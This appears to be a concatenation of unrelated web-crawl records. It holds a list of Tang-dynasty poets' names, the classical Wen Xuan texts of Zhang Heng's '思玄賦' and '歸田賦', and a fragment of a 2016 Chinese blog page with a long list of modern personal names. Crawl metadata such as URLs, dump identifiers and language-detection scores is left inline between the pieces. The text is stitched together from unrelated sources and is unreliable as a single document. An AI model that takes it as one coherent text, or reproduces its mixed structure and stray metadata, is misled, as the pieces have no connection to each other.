马逢 马怀素 马令 马冉 马湘 马乂 马异 马彧 马植 马致恭 马周 毛明素 毛文锡 毛熙震 眉娘 孟宾于 孟昶 孟迟 孟贯 孟浩然 孟简 孟郊 孟球 孟氏 孟守 孟彦深 孟云卿 苗发 苗晋卿 闽后陈氏 莫宣卿 牟融 慕容垂 穆寂 南诏骠信 南卓 聂夷中 牛丛 牛凤及 牛峤 牛僧孺 牛希济 牛徵 欧阳宾 欧阳衮 欧阳炯 欧阳玭 欧阳澥 欧阳询 欧阳詹 潘存实 潘孟阳 潘唐 潘图 潘纬 潘咸 潘炎 潘佑 庞蕴 裴澈 裴澄 裴次元 裴漼 裴达 裴迪 裴度 裴翻 裴光庭 裴航 裴皞 裴交泰 裴逵 裴潾 裴虔馀 裴士淹 裴守真 裴淑 裴说 裴思谦 裴廷裕 裴諴 裴谐 裴休 裴谞 裴耀卿 裴夷直 裴贽 彭蟾 彭伉 彭晓 捧剑仆 皮日休 平康妓 平曾 七岁女子 栖白 栖蟾 栖一 戚逍遥 齐浣 齐己 綦毋诚 綦毋潜 谦光 钱俶 钱可复 钱镠 钱起 钱珝 乾康 乔备 乔侃 乔琳 乔氏 乔舜 乔知之 秦韬玉 秦系 卿云 清豁 清江 清尚 丘丹 丘光庭 丘上卿 丘为 丘悦 屈同仙 麹信陵 麹瞻 权德舆 权龙褒 权审 任翻 任华 任玠 任生 任氏 任希古 任要 戎昱 芮挺章 若虚 僧凤 僧鸾 善生 上官仪 上官昭容 尚颜 邵楚苌 邵大震 邵升 邵偃 邵谒 邵真 申欢 神颖 沈彬 沈传师 沈东美 沈回 沈千运 沈佺期 沈如筠 沈叔安 沈颂 沈韬文 沈廷瑞 沈亚之 沈颜 沈宇 沈仲昌 沈祖仙 慎氏 盛小丛 施肩吾 石抱忠 石贯 石惠泰 石倚 拾得 史凤 史俊 史青 史延 释泚 舒道纪 舒元舆 司空曙 司空图 司马承祯 司马都 司马退之 司马逸客 宋鼎 宋华 宋济 宋璟 宋齐丘 宋若华 宋若宪 宋若昭 宋务光 宋雍 宋昱 宋之问 苏瑰 苏涣 苏晋 苏颋 苏绾 苏味道 苏郁 苏源明 苏拯 孙昌胤 孙处玄 孙定 孙鲂 孙革 孙顾 孙光宪 孙郃 孙翃 孙棨 孙佺 孙氏 孙叔向 孙蜀 孙思邈 孙逖 孙纬 孙偓 孙岘 孙欣 孙元晏 太上隐者 太原妓 昙翼 昙域 谈戭 谭峭 谭用之 谭铢 汤悦 唐扶 唐廪 唐求 唐思言 唐彦谦 唐远悊 韬光 陶拱 陶翰 陶岘 陶雍 滕白 滕迈 滕倪 滕珦 田澄 田游岩 田章 童翰卿 万楚 万齐融 万彤云 汪极 汪万於 汪遵 王表 王播 王勃 王昌龄 王初 王储 王传 王绰 王德真 王涤 王铎 王福娘 王感化 王公亮 王毂 王观 王光庭 王珪 王翰 王宏 王涣 王绩 王季文 王季则 王继鹏 王继勋 王驾 王建 王鉴 王缙 王景 王迥 王琚 王巨仁 王晙 王锴 王揆 王丽真 王良会 王良士 王烈 王泠然 王鲁复 王履贞 王茂时 王勔 王起 王乔 王丘 王仁裕 王镕 王睿 王绍宗 王沈 王甚夷 王氏 王适 王枢 王硕 王苏苏 王损之 王铤 王湾 王维 王纬 王无竞 王武陵 王希羽 王霞卿 王羡门 王熊 王涯 王延彬 王严 王炎 王衍 王彦威 王沂 王易从 王易简 王諲 王邕 王元 王岳灵 王越宾 王韫秀 王贞白 王正己 王之涣 王质 王智兴 王仲舒 王周 王祝 王濯 韦安石 韦表微 韦冰 韦蟾 韦承庆 韦承贻 韦处厚 韦丹 韦鼎 韦皋 韦瓘 韦洪 韦济 韦建 韦抗 韦渠牟 韦式 韦纾 韦述 韦嗣立 韦迢 韦同则 韦夏卿 韦应物 韦元旦 韦元甫 韦执中 韦庄 韦遵 卫象 尉迟汾 魏承班 魏璀 魏奉古 魏扶 魏谟 魏朴 魏求己 魏氏 魏万 魏元忠 魏徵 魏知古 温会 温庭皓 温庭筠 温宪 文秀 文益 翁承赞 翁宏 翁绶 翁洮 邬载 无可 无名氏 无则 无作 吴丹 吴巩 吴涵虚 吴晃 吴兢 吴筠 吴秘 吴黔 吴仁璧 吴融 吴少微 吴武陵 吴圆 吴子来 伍彬 伍乔 伍唐珪 武瓘 武平一 武三思 武少仪 武翊黄 武元衡 武则天 舞柘枝女 奚贾 息夫牧 席夔 席豫 席元明 夏方庆 夏鸿 夏侯审 夏侯孜 先汪 襄阳妓 项斯 萧楚材 萧德言 萧仿 萧妃 萧遘 萧祜 萧华 萧建 萧嵩 萧项 萧昕 萧翼 萧颖士 萧彧 萧缜 萧至忠 谢勮 谢良辅 谢偃 谢仲宣 辛常伯 辛替否 邢巨 邢群 幸夤逊 熊皎 熊皦 熊孺登 熊曜 修睦 修雅 胥偃 虚中 徐安贞 徐昌图 徐敞 徐钓者 徐放 徐光溥 徐浩 徐皓 徐珩 徐坚 徐晶 徐九皋 徐锴 徐灵府 徐牧 徐凝 徐谦 徐仁友 徐商 徐氏 徐希仁 徐贤妃 徐铉 徐延寿 徐彦伯 徐夤 徐月英 徐知仁 徐至 徐仲雅 许彬 许瀍 许鼎 许浑 许稷 许景先 许敬宗 许康佐 许玫 许孟容 许岷 许碏 许三畏 许棠 许天正 许宣平 许尧佐 许瑶 许圉师 许昼 轩辕弥明 宣宗宫人 薛存诚 薛逢 薛稷 薛据 薛克构 薛令之 薛蒙 薛能 薛奇童 薛琼 薛戎 薛昚惑 薛涛 薛瑶 薛曜 薛业 薛宜僚 薛莹 薛元超 薛媛 薛馧 薛昭纬 薛昭蕴 薛准 亚栖 严公弼 严公贶 严识玄 严维 严武 严休复 严续姬 严郾 阎朝隐 阎防 阎济美 阎宽 阎立本 阎选 颜粲 颜令宾 颜荛 颜仁郁 颜师古 颜舒 颜萱 颜真卿 羊士谔 羊滔 羊昭业 杨贲 杨乘 杨德麟 杨鼎夫 杨发 杨玢 杨汉公 杨衡 杨鸿 杨厚 杨郇伯 杨徽之 杨谏 杨敬述 杨敬之 杨炯 杨巨源 杨浚 杨濬 杨夔 杨莱儿 杨牢 杨廉 杨凌 杨鸾 杨凝 杨凝式 杨凭 杨齐哲 杨奇鲲 杨容华 杨汝士 杨师道 杨收 杨思玄 杨嗣复 杨损 杨廷玉 杨系 杨续 杨洵美 杨炎 杨颜 杨於陵 杨虞卿 杨玉环 杨昭俭 杨知至 杨志坚 杨重玄 姚崇 姚发 姚鹄 姚合 姚康 姚揆 姚伦 姚系 姚向 姚岩杰 姚月华 叶法善 叶季良 叶元良 伊璠 伊用昌 宜芬公主 义净 易思 易重 阴行先 殷七七 殷潜之 殷少野 殷文圭 殷尧藩 殷尧恭 殷遥 殷寅 尹鹗 尹懋 尹璞 隐峦 隐求 应物 雍陶 雍裕之 油蔚 于敖 于頔 于鹄 于瑰 于季子 于结 于经野 于良史 于濆 于邵 于逖 于武陵 于兴宗 于邺 于尹躬 于志宁 鱼玄机 鱼又玄 俞简 虞世南 虞有贤 宇文鼎 宇文融 庾抱 庾承宣 庾传素 庾光先 庾敬休 喻凫 喻坦之 元淳 元孚 元晦 元季川 元寂 元结 元晟 元万顷 元希声 元友让 元友直 元载 元稹 员半千 袁不约 袁傪 袁高 袁瓘 袁皓 袁晖 袁郊 袁朗 袁恕己 袁邕 源光裕 源乾曜 苑咸 越溪杨女 云表 曾麻几 詹琲 詹敦仁 湛贲 张安石 张翱 张白 张贲 张碧 张抃 张彪 张蠙 张灿 张昌宗 张潮 张偁 张楚金 张辞 张丛 张大安 张道符 张道古 张登 张顶 张鼎 张谔 张夫人 张复 张复元 张格 张固 张观 张光朝 张衮 张果 张何 张弘靖 张纮 张祜 张翚 张汇 张浑 张籍张季略 张垍 张继 张嘉贞 张贾 张柬之 张建封 张荐 张渐 张景源 张敬忠 张九龄 张莒 张均 张立 张立本女 张良璞 张良器 张令问 张鹭 张濛 张泌 张南史 张齐贤 张绮 张乔 张钦敬 张仁溥 张若虚 张少博 张绍 张胜之 张省躬 张氏 张叔良 张叔卿 张署 张说 张嗣初 张松龄 张随 张彤 张万顷 张为 张惟俭 张谓 张文琮 张文恭 张文规 张文姬 张文收 张希复 张昔 张锡 张萧远 张旭 张宣明 张巡 张循之 张俨 张琰 张演 张窈窕 张祎 张义方 张易之 张隐 张瑛 张瀛 张友正 张又新 张聿 张元宗 张云容 张氲 张昭 张轸 张震 张正一 张正元 张直 张志和 张仲方 张仲素 张众甫 张濯 张鷟 张孜 张子容 张佐 章八元 章碣 章孝标 章玄同 赵存约 赵冬曦 赵铎 赵蕃 赵嘏 赵光逢 赵光远 赵鸿 赵骅 赵璜 赵惠宗 赵居贞 赵良器 赵鸾鸾 赵牧 赵谦光 赵叔达 赵湘 赵延寿 赵彦伯 赵彦昭 赵徵明 赵中虚 赵自然 赵宗儒 郑遨 郑璧 郑常 郑巢 郑丹 郑愕 郑昉 郑符 郑概 郑谷 郑颢 郑合 郑洪业 郑昈 郑还古 郑澣 郑据 郑立之 郑良士 郑露 郑南金 郑启 郑綮 郑虔 郑仁表 郑孺华 郑善玉 郑绍 郑审 郑史 郑世翼 郑蜀宾 郑遂初 郑损 郑畋 郑颋 郑惟忠 郑锡 郑薰 郑繇 郑义真 郑愔 郑絪 郑俞 郑馀庆 郑嵎 郑愚 郑辕 郑准 知玄 智亮 中寤 钟辐 钟离权 钟辂 钟谟 钟蒨 仲子陵 周彻 周墀 周存 周贺 周弘亮 周匡物 周利用 周朴 周思钧 周昙 周万 周渭 周庠 周彦晖 周彦昭 周繇 周镛 周瑀 周元范 周仲美 周祚 朱褒 朱彬 朱斌 朱长文 朱冲和 朱存 朱放 朱景玄 朱可名 朱逵 朱庆馀 朱使欣 朱宿 朱湾 朱元 朱仲晦 朱昼 朱子奢 朱子真 祝钦明 祝元膺 庄南杰 庄若讷 卓英英 子兰 宗楚客 邹绍先 邹象先 祖咏 左偃","id":"","dump":"CC-MAIN-2019-39","url":"http:\/\/dectrom.com\/61043\/1143.html","date":"2019-09-17T21:37:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514573121.4\/warc\/CC-MAIN-20190917203354-20190917225354-00208.warc.gz","language":"lzh","language_score":0.7445679903,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.7445679903030396, \"cmn_Hani_score\": 0.15239042043685913, \"nan_Hani_score\": 0.09686335176229477}","num_words":1887,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.292,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.744,"perplexity_score":500.0,"cluster_detection":1} +{"text":"賦辛\n張平子〈思玄賦〉一首\n仰先哲之玄訓兮,雖彌高而弗違。匪仁里其焉宅兮,匪義迹其焉追?潛服膺以永靚兮,緜日月而不衰。伊中情之信脩兮,慕古人之貞節。竦余身而順止兮,遵繩墨而不跌。志摶摶以應懸兮,誠心固其如結。旌性行以製珮兮,佩夜光與瓊枝。纗幽蘭之秋華兮,又綴之以江離。美襞積以酷烈兮,允塵邈而難虧。既姱麗而鮮雙兮,非是時之攸珍。奮余榮而莫見兮,播余香而莫聞。幽獨守此庂陋兮,敢怠遑而舍勤。幸二八之遌虞兮,嘉傅說之生殷。尚前良之遺風兮,恫後辰而無及。何孤行之焭焭兮,孑不群而介立。感鸞鷖之特棲兮,悲淑人之希合。\n彼無合而何傷兮,患眾偽之冒真。旦獲讟于群弟兮,啟《金縢》而後信。覽蒸民之多僻兮,畏立辟以危身。增煩毒以迷惑兮,羌孰可為言己?私湛憂而深懷兮,思繽紛而不理。願竭力以守誼兮,雖貧窮而不改。執彫虎而試象兮,阽焦原而跟趾。庶斯奉以周旋兮,惡既死而後已。俗遷渝而事化兮,泯規矩之員方。寶蕭艾於重笥兮,謂蕙茝之不香。斥西施而弗御兮,縶騕褭以服箱。行頗僻而獲志兮,循法度而離殃。惟天地之無窮兮,何遭遇之無常!\n不抑操而苟容兮,譬臨河而無航。欲巧笑以干媚兮,非余心之所嘗。襲溫恭之黻衣兮,被禮義之繡裳。辮貞亮以為鞶兮,雜伎藝以為珩。昭綵藻與琱琭兮,璜聲遠而彌長。淹棲遟以恣欲兮,耀靈忽其西藏。恃己知而華予兮,鶗鴂鳴而不芳。冀一年之三秀兮,遒白露之為霜。時亹亹而代序兮,疇可與乎比伉?咨姤嫮之難竝兮,想依韓以流亡。恐漸冉而無成兮,留則蔽而不彰。\n心猶豫而狐疑兮,即岐阯而𦢛情。文君為我端蓍兮,利飛遁以保名。歷眾山以周流兮,翼迅風以揚聲。二女感於崇岳兮,或冰折而不營。天蓋高而為澤兮,誰云路之不平!勔自強而不息兮,蹈玉階之嶢崢。懼筮氏之長短兮,鑽東龜以觀禎。遇九皋之介鳥兮,怨素意之不逞。遊塵外而瞥天兮,據冥翳而哀鳴。鵰鶚競於貪婪兮,我脩絜以益榮。子有故於玄鳥兮,歸母氏而後寧。\n占既吉而無悔兮,簡元辰而俶裝。旦余沐於清源兮,晞余髮於朝陽。漱飛泉之瀝液兮,咀石菌之流英。翾鳥舉而魚躍兮,將往走乎八荒。過少皞之窮野兮,問三丘于句芒。何道真之淳粹兮,去穢累而飄輕。登蓬萊而容與兮,鰲雖抃而不傾。留瀛洲而采芝兮,聊且以乎長生。馮歸雲而遐逝兮,夕余宿乎扶桑。飲青岑之玉醴兮,飡沆瀣以為粻;發昔夢於木禾兮,穀崑崙之高岡。朝吾行於湯谷兮,從伯禹乎稽山。嘉群神之執玉兮,疾防風之食言。\n指長沙之邪徑兮,存重華乎南鄰。哀二妃之未從兮,翩繽處彼湘濱。流目眺夫衡阿兮,覩有黎之圮墳。痛火正之無懷兮,託山阪以孤魂。愁鬱鬱以慕遠兮,越卬州而遊遨。躋日中于昆吾兮,憩炎火之所陶。揚芒熛而絳天兮,水泫沄而涌濤。溫風翕其增熱兮,惄鬱悒其難聊。顝羇旅而無友兮,余安能乎留茲?\n顧金天而歎息兮,吾欲往乎西嬉。前祝融使舉麾兮,纚朱鳥以承旗。躔建木於廣都兮,摭若華而躊躇。超軒轅於西海兮,跨汪氏之龍魚。聞此國之千歲兮,曾焉足以娛余?\n思九土之殊風兮,從蓐收而遂徂。欻神化而蟬蛻兮,朋精粹而為徒。蹶白門而東馳兮,云台行乎中野。亂弱水之潺湲兮,逗華陰之湍渚。號馮夷俾清津兮,櫂龍舟以濟予。會帝軒之未歸兮,悵徜徉而延佇。怬河林之蓁蓁兮,偉《關雎》之戒女。\n黃靈詹而訪命兮,樛天道其焉如。曰近信而遠疑兮,六籍闕而不書。神逵昧其難覆兮,疇克謀而從諸?牛哀病而成虎兮,雖逢昆其必噬。鼈令殪而尸亡兮,取蜀禪而引世。死生錯其不齊兮,雖司命其不𥇕。竇號行於代路兮,後膺祚而繁廡。王肆侈於漢庭兮,卒銜恤而絕緒。尉尨眉而郎潛兮,逮三葉而遘武。董弱冠而司袞兮,設王隧而弗處。夫吉凶之相仍兮,恒反庂而靡所。\n穆屆天以悅牛兮,豎亂叔而幽主。文斷袪而忌伯兮,閹謁賊而寧后。通人闇於好惡兮,豈昏惑而能剖?嬴擿讖而戒胡兮,備諸外而發內。或輦賄而違車兮,孕行產而為對。慎竈顯以言天兮,占水火而妄訊。梁叟患夫黎丘兮,丁厥子而剚刃。親所睼而弗識兮,矧幽冥之可信?毋緜攣以倖己兮,思百憂以自疹。\n彼天監之孔明兮,用棐忱而祐仁。湯蠲體以禱祈兮,蒙厖褫以拯民。景三慮以營國兮,熒惑次於他辰。魏顆亮以從治兮,鬼亢回以斃秦。咎繇邁而種德兮,樹德懋于英六。桑末寄夫根生兮,卉既凋而已育。有無言而不酬兮,又何往而不復?盍遠迹以飛聲兮,孰謂時之可蓄?\n仰矯首以遙望兮,魂惝惘而無儔。逼區中之隘陋兮,將北度而宣遊。行積冰之磑磑兮,清泉冱而不流。寒風凄其永至兮,拂穹岫之騷騷。玄武縮于殼中兮,騰蛇蜿而自糾。魚矜鱗而并凌兮,鳥登木而失條。坐太陰之庰室兮,慨含唏而增愁。怨高陽之相㝢兮,㑋顓頊而宅幽。庸織路於四裔兮,斯與彼其何瘳?望寒門之絕垠兮,縱余緤乎不周。迅焱潚其媵我兮,騖翩飄而不禁。越谽𠽫之洞穴兮,漂通川之碄碄。經重𢉩乎寂漠兮,慜墳羊之深潛。\n追荒忽於地底兮,軼無形而上浮。出石密之闇野兮,不識蹊之所由。速燭龍令執炬兮,過鍾山而中休。瞰瑤谿之赤岸兮,弔祖江之見劉。聘王母於銀臺兮,羞玉芝以療飢。戴勝憖其既歡兮,又誚余之行遟。載太華之玉女兮,召洛浦之宓妃。咸姣麗以蠱媚兮,增嫮眼而蛾眉。舒訬婧之纖腰兮,揚雜錯之袿徽。離朱脣而微笑兮,顏的礫以遺光。獻環琨與琛縭兮,申厥好以玄黃。雖色豔而賂美兮,志皓蕩而不嘉。雙材悲於不納兮,並詠詩而清歌。歌曰:天地烟熅,百芔含葩。鳴鶴交頸,鴡鳩相和。處子懷春,精魂回移。如何淑明,忘我實多。\n將答賦而不暇兮,爰整駕而亟行。瞻崑崙之巍巍兮,臨縈河之洋洋。伏靈龜以負坻兮,亘螭龍之飛梁。登閬風之層城兮,搆不死而為床。屑瑤蘂以為糇兮,㪺白水以為漿。抨巫咸作占夢兮,乃貞吉之元符。滋令德於正中兮,含嘉秀以為敷。既垂穎而顧本兮,亦要思乎故居。安和靜而隨時兮,姑純懿之所廬。\n戒庶僚以夙會兮,僉供職而並訝。豐隆軯其震霆兮,列缺曄其照夜。雲師𩅾以交集兮,涷雨沛其灑塗。轙琱輿而樹葩兮,擾應龍以服路。百神森其備從兮,屯騎羅而星布。\n振余袂而就車兮,脩劍揭以低昂。冠嵒嵒其映蓋兮,珮綝纚以煇煌。僕夫儼其正策兮,八乘騰而超驤。氛旄溶以天旋兮,蜺旌飄以飛颺。撫軨軹而還睨兮,心勺𤄶其若湯。羨上都之赫戲兮,何迷故而不忘?左青琱之揵芝兮,右素威以司鉦。前長離使拂羽兮,後委衡乎玄冥。屬箕伯以函風兮,懲淟涊而為清。拽雲旗之離離兮,鳴玉鸞之。涉清霄而升遐兮,浮蠛蠓而上征。紛翼翼以徐戾兮,焱回回其揚靈。叫帝閽使闢扉兮,覿天皇于瓊宮。聆廣樂之九奏兮,展洩洩以肜肜;考治亂於律均兮,意建始而思終。惟般逸之無斁兮,懼樂往而哀來。素女撫絃而餘音兮,太容吟曰念哉。既防溢而靖志兮,迨我暇以翱翔。\n出紫宮之肅肅兮,集太微之閬閬。命王良掌策駟兮,踰高閣之將將。建罔車之幕幕兮,獵青林之芒芒。彎威弧之拔剌兮,射嶓冢之封狼。觀壁壘於北落兮,伐河鼓之磅硠。乘天潢之汎汎兮,浮雲漢之湯湯。倚招搖攝提以低佪剹流兮,察二紀五緯之綢繆遹皇。偃蹇夭矯,娩以連卷兮,雜沓叢顇,颯以方驤。戫汨飂淚,沛以罔象兮,爛漫麗靡,藐以迭逷。凌驚雷之砊礚兮,弄狂電之淫裔。踰痝鴻於宕冥兮,貫倒景而高厲。廓盪盪其無涯兮,乃今窺乎天外。\n據開陽而頫眡兮,臨舊鄉之暗藹。悲離居之勞心兮,情悁悁而思歸。魂眷眷而屢顧兮,馬倚輈而徘徊。雖遊娛以媮樂兮,豈愁慕之可懷。出閶闔兮降天途,乘焱忽兮馳虛無。雲菲菲兮繞余輪,風眇眇兮震余旟。繽連翩兮紛暗曖,儵眩眃兮反常閭。\n收疇昔之逸豫兮,卷淫放之遐心。修初服之娑娑兮,長余佩之參參。文章奐以粲爛兮,美紛紜以從風。御六藝之珍駕兮,遊道德之平林。結典籍而為罟兮,敺儒墨以為禽。玩陰陽之變化兮,詠《雅》《頌》之徽音。嘉曾氏之歸耕兮,慕歷阪之嶔崟。恭夙夜而不貳兮,固終始之所服。夕惕若厲以省兮,懼余身之未勑。苟中情之端直兮,莫吾知而不恧。默無為以凝志兮,與仁義乎逍遙。不出戶而知天下兮,何必歷遠以劬勞?\n系曰:天長地久歲不留,俟河之清秪懷憂。願得遠渡以自娛,上下無常窮六區。超踰騰躍絕世俗,飄遙神舉逞所欲。天不可階仙夫稀,柏舟悄悄𠫤不飛。松喬高跱孰能離,結精遠遊使心攜。迴志朅來從玄謀,獲我所求夫何思!\n張平子〈歸田賦〉一首\n遊都邑以永久,無明略以佐時。徒臨川以羨魚,俟河清乎未期。感蔡子之慷慨,從唐生以決疑。諒天道之微昧,追漁父以同嬉。超埃塵以遐逝,與世事乎長辭。\n於是仲春令月,時和氣清。原隰鬱茂,百草滋榮。王雎鼓翼,鶬鶊哀鳴。交頸頡頏,關關嚶嚶。於焉逍遙,聊以娛情。爾乃龍吟方澤,虎嘯山丘。仰飛纖繳,俯釣長流。觸矢而斃,貪餌吞鉤。落雲間之逸禽,懸淵沈之魦鰡。\n于時曜靈俄景,係以望舒。極般遊之至樂,雖日夕而忘劬。感老氏之遺誡,將迴駕乎蓬廬。彈五弦之妙指,詠周孔之圖書。揮翰墨以奮藻,陳三皇之軌模。苟縱心於物外,安知榮辱之所如?","id":"","dump":"CC-MAIN-2021-39","url":"http:\/\/core.xueheng.net\/wen_xuan\/0015.htm","date":"2021-09-23T13:58:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057424.99\/warc\/CC-MAIN-20210923135058-20210923165058-00573.warc.gz","language":"lzh","language_score":0.3971243799,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.39712437987327576, \"zxx_Latn_score\": 0.11176358163356781, \"nan_Hani_score\": 0.04520318657159805, \"cmn_Hani_score\": 0.04068567231297493, \"und_Tang_score\": 0.035678308457136154, \"und_Xsux_score\": 0.029176898300647736, \"und_Grek_score\": 0.01882336288690567, \"und_Hluw_score\": 0.01843196712434292, \"und_Egyp_score\": 0.01764831319451332, \"und_Sgnw_score\": 0.017057234421372414, \"und_Yiii_score\": 0.01640646532177925, \"und_Hira_score\": 0.015990160405635834, \"und_Cyrl_score\": 0.013422415591776371, \"und_Cans_score\": 0.012783864513039589, \"yue_Hani_score\": 0.010544697754085064, \"und_Lina_score\": 0.01045469380915165, \"und_Vaii_score\": 0.010266918689012527}","num_words":26,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.197,"perplexity_score":500.0,"cluster_detection":1} +{"text":"你确定要删除此博文及其所有评论吗?\n2016-09-05 11:02:25\n编辑 删除\n殷昭韵 齐根元 王廉 浦铁 顾节维 傅霍 赵洪坤 赵增凯 孟昭立 荣敢 王荣法 王军明 何达贵 余洪金 姚雪 袁世荣 甘连会 干芝堂 陈裕新 袁友鸣 郭计生 光祥 王灵南 尤文贵 朱国光 马大全 陈国龙 王新宇 陈小和 丁川 赵山宗 乔木 陈步宣 史盛森 赵静铭 贺娟芳 尹天相 邓林洁 马镇玺 王化南 石大伦 邓先正 汪楚华 宋思恋 仇本贵 方习宁 呙升燮 陈端木 袁美林 邓峥嵘 戴能文 彭振 汪志平 方纪坤 郑廷柄 沈邦超 余章璠 王功明 范胜利 陈艳霞 程长征 殷维楚 冠永传 陈正耀 王春三 施明智 冯晓冬 邓之亮 余大观 陈劲 尚荣文 方光斗 周中恒 冉瑞德 郑昌成 马福寿 董韧 涂栖悟 骆雪 叶继宗 何新 杨正斌 任士遥 余谓莲 翼近照 孟庆龙 高艺华 皮宗元 陈高敏 赵泰兴 邓轶敏 汪文安 葛陶然 何志汉 盖成杰 叶祥瑞 陈明上 杨万阶 钱忠国 宋宏德 段德昌 郑小月 王烽 董新明 段坚 杨远庆 素培松 杨之洲 郭兴唐 陈萸 万玉澴 杜汉忠 邓万凯 马秀清 陈绍斌 石长兴 毛柏松 王荔桦 骆清霞 周崇梓 周席珍 周城市 舒远华 姚舜 周宗纶 邓涛 陈杏明 傅金龙 史金淞 陈为人 高代记 蒙曙辉 甘继群 程福桥 王三德 陈健国 沈士懋 邓国柱 王保番 姚自军 方肃 彭年生 王为政 王轼刚 赵家棠 毛传信 崔俊 付望生 陈业缵 王汉汀 彭力 陈和兴 海廉 陈昌虎 龚华国 商南山 周克志 何先晚 王鸣世 童锡源 周海波 周辟力 高鹤年 王朝阳 皮斯 郭树华 段德培 郭松坡 陈汝定 涂平东 姚厚鸿 陈明柏 杨尚成 郭仁发 赵卫华 邓俊基 王香山 邓建潘 饶群章 殷肇顺 叶正德 陈世锦 田梅生 平霞 施先乐 余星 何安平 程树义 韩林子 石功彬 沙秋桐 袁军民 董德伦 余良瑛 顾蕴诚 易水兰 周道云 郑行星 王丁山 赵中和 杨万进 袁泽军 陈光辉 何远申 邓靖华 马谦忠 沽远松 马世民 正大权 登正职 杨献福 杨涯 钱少石 荣海斌 何慧敏 郑云凌 王长城 秦明早 崔治龙 周治利 苏协宏 万熙纯 何定琼 袁江本 秦德炎 王登丙 马永华 戴鹞飞 陈语 王静远 周显光 罗永柏 杨兴东 赵玉陶 王修山罗天军 郝文滨 朱妹 陈景慧 周浩 士心 梅泽友 毛有昌 周锡旸 但启明 陈远学 陈姣 骆首忠 何绍明 乔春旺 郭磊强 赵化先 叶振声 杨琴 骆钧 陈绍平 程志坚 袁耀清 钟国超 程金海 周幼阶 龚绳武 戴宝旺 陈何 高成华 郑纯 彭浩之 扑良昌 石铁 任士瑶 任士强 王兴方 全旭东 杜再复 王代雄 孟权兴 汪开梓 汪鹏 姚雄飞 桂召普 邵守仁 马登银 戴文炳 成德 尚援朝 彭雄才 何宝华 桑好文 冯书芬 钱月丰 牟立滨 彭光瑜 周智强 沈文焕 龚德 董国成 余阳华 陈天 杜莱忠 王怀文 周德训 冯中衡 任晓明 高玉章 王锦钢 於夷陵 陈家昌 姚代贵 姚国胶 何彪 何扬波 朱光宗 郭兴耕 董全禄 高金刚 周贻松 戈春山 陈后政 马操园 周经然 陈泽民 姚明 史光焕 王道伦 戚克海 杨良吉 杨兆华 秦先觉 陈明宣 马士良 朱河海 杨宣翅 佟文西 彭震中 王少彬 邓存枚 何功宁 陈绪安 陈仲原 王庆云 罗友元 陈建强 郝勒建 贺德超 赵清真 钟国杰 陈晞 周霞 赵青春 盛国洪 陈莹中 陈冬生 陈驯山 周诚士 陈彦斌 王传富 阮支疆 崔一凡 陈顺龙 戴鼎宝 彭荣洲 明静 杨先刚 彭连芳 段良骥 乔建明 郑润魁 彭玫 姚浩新 乔理 陈义经 秦岭 戚建华 王家友 释法云 周雨及 彭燃 王先琼 公明 戴湘平 马振中 叶梓琴 任世铃 骆古木 万世鹏 戴子介 杨忠茂 杨新江 朱宝元 周熙清 万贤贵 周志刚 顾瑞芬 钟桂华 余炳寿 程生达 郭成发 王启华 朱迟宾 朱立标 俞贤宽 龚微寒 王若昭 何广君 郭瑞蒸 郝劲松 王享君 郭厚德 余又刚 陈华禄 邓煜鹏 岳锋 沈俊良 千书 任东雷 成观平 陈洪泉 王新开 程雪桃 郭茂旺 郭培健 陈定祥 戴慕如 周学文 郭熙超 郑用琦 余亭 陈湘云 阮左王右申 余兴林 尹武谋 方坤山 汪云洋 杨质清 方质成 马则中 梅轩珉 郭绪中 郑文诠 陈时雨 段子中 舒 段国钰 梅亦香 余正之 舒先震 段茂畅 郑松凡 田佳秀 王邦友 钟成林 高荣球 冯金河 王梧汀 马贤俊 彭功让 王尚芳 方绪寿 龚中明 石海林 赵映坤 杨唐鲲 朱清元 沈帮武 段志安 关光明 杜永庆 陈耀学 罗志阳 汪泉 章亦先 上官华军 苏柏林 陈间模 高爽 陈为森 陈非 戴吾馨 姚红星 郑继鄂 杨野黎 彭勤宇 周晓冬 鼓泽柏 罗喜周 王尔仁 予本仁 何宜华 杨治郁 陈杨彧 罗晓光 谬云 邓玉成 辜龙蛟 杜清平 范福珍 钟喜然 高世杰 程耕 陈定云 阮祥厚 何德坤 周鸿萍 郑从模 田同煦 朱笔书 方名柱 王秀瑛 童明镜 荣树杰 周安明 苏向德 骆训良 郭昌 周岳斌 全焕举 程晓芳 马元庭 桂昌国 钱大斌 孟广荣 涂振江 陈甲发 高贵斌 丁济川 方征中 郑正兴 程永勇 余绪干 尹小飞 涂全生 陈国佐 苏伯翔 方兴望 孟庆忠 丁前进 毛连鹏 田鸿 石家玉 傅天文 秦启瑞 万邦敏 马亚平 邱辉武 汪新晶 陈德章 朱金奉 耿月华 何成威 陈永恒 毛世松 周维昌 赵地元 史咏 何光汉 商宽宏 王惠玲 王维启 杨先德 陈远朝 宋华飞 王楚凡 彭春波 赵海青 杨仲川 汪桂芬 戴新建 周辉鹰 邓方年 郑海波 石守诗 涂佑裴 孟华生 董小平 陈海明 钱榕 董凤官 盛茂柏 陈学铄 狄轩 郑钰刚 王瑞筹 饶秀光 汪亚平 梅键斌 桂正群 田茂生 陈志风 何庆韦 袁庆武 陈钰荣 袁质斌 汪汉东 周旺昌 宋克明 彭绍球 马寿康 陈秋楚 马之良 骆秉添 殷德盛 戴泽葵 高进才 杭文隆 皮道雄 殷祚伟 冉冉 彭长虎 闵鸣 贺佩芬 郑定良 郑泽新 王新虎 董乐山 罗志楠 秦献祥 邓勇 饶莉云 杨圣喜 陈炳卿 邓石华 陈金涛 马江汉 郭民华 董发礼 郑玉洪 陈永清 袁承东 袁继仁 陈之寿 王日升 龚新华 陈中堂 管志杰 符泽珍 杨世强 宋少华 何易 汪广军 马武 王明泽 彭曦 于杰民 毛元良 窦文身 程仁发 毛远良 陈林森 王镜远 程开华 彭希文 汪啸云 秦建辉 宋健纯 朱杰奎 朱世新 郭芳志 郑茂秀 杨军昌 管其铭 周德琼 周小龙 王辉斌 